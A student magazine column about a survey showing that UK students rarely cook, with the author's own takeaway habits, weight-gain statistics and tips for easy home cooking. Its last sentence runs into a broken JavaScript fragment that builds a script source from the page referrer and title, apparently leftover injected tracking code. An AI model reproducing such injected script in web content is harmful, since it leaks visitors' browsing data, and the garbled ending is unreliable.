Are student eating habits something to worry about?

ISSUE 2- Student Eating Habits

 By John Findlay


I didn’t plan this. I can’t chalk it up to research. However, as I sit down to write this article for you, I realise that I have just ordered a takeaway.

The irony in sharing this morsel is that I am writing about a recent study, conducted by Voucher Cloud, which discovered that students, having moved away from home, only cook for themselves two days out of seven.

The study surveyed 2,413 UK adults, aged between 18 and 25, and found that the majority opted to eat out or order takeaway rather than make anything at home. The students that were surveyed cited reasons such as “I’m too lazy”, “I can’t cook” and “I don’t know how” for not cooking their own meals.

Now I certainly possess the know-how, having amassed fourteen years of cooking experience in the service industry, but I can still relate to choosing takeaway over homemade. I’m capable of turning a spoonful of marmalade, a chicken breast, a stock cube, and some seasoning into fine cuisine or even transform the dregs of a bottle of Coke and a ham joint into something spectacular (if you’ve never had Coca-Cola Ham you don’t know what you’re missing – don’t make that face.) But I just cannot be bothered.

My partner is away to watch a friend run the Loch Ness Marathon so it doesn’t make sense to cook for just myself. Sure I have the time, but that time is better spent writing this so that I can then go on to working on the presentation I have in a week and the other essays and articles I have due over the next fortnight – not buying, preparing and cooking food and lest we forget the dishes.

I am also a fair few years older than those included in the study, but I was 24 when I first moved to Glasgow. My flatmate would tell you that he only saw me cook twice in that first year, let alone twice a week. My weekly shop would consist of cereal and milk; the majority of my diet came from Prego, Shamy, AsiaStyle and Chunky Chicken. It was quick, cheap, filled me up and it would often do two nights with only a fork to wash up. What is not to love about that?

Well, I did a bit of research. When I first read the brief for this article I thought it sounded familiar and sure enough found that similar studies are conducted every year, with pretty much the same results being found. What’s not to love, though, is the data from a congruent study stating that two thirds of us will gain between 1 and 5 stones (6.35 to 31.75 kilos for our Erasmus friends) over the course of our degrees. The majority of that is down to takeaway and alcohol.

At least when I first moved not everywhere did home delivery and I would get some exercise walking from my second floor flat to pick up my food or walk to the cash machine because I couldn’t pay by card, but since that time, websites like Just Eat and Hungry House have risen like soufflés and made it far easier to order from home. Which is what I have done tonight. A few swipes with my thumb on my phone and I have 179 takeaways to choose from in my area. One-hundred-and-seventy nine – ranging from American to West African. Tonight I’ve chosen a local burger joint, and it really should have arrived by now. There are healthy restaurant options available but the majority still consist of our nation’s favourite cuisines: Chinese, Indian and the humble fish and chip shop.

However, recent further innovations that could plough the way for much healthier fast food have begun to sprout and grow. Deliveroo offers up a uniformed scooter gang who will raid your favourite bars and restaurants, places that wouldn’t normally offer delivery, and bring the haul direct to your door. Cook, on Great Western Road, won’t do the actual cooking or delivery, but pop in and you will find a smorgasbord of chef-made, healthy, naturally produced frozen meals just waiting to be taken home and bunged into the oven.

Home cooking isn’t quite done, though. Websites like Eat Fresh and Eat Fish will deliver fresh local produce direct to your door, with step-by-step instructions and everything you need to make your own restaurant quality meal. If you are in the “I don’t know how” category then it is not difficult to change that; just get on Pinterest or even type “easy healthy recipes” into Google and chose from the virtually endless culinary options available, and have some fun. Two things though: make sure your smoke alarm works and always check the middle before shoving it in your gob.

On that note, my food has arrived.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;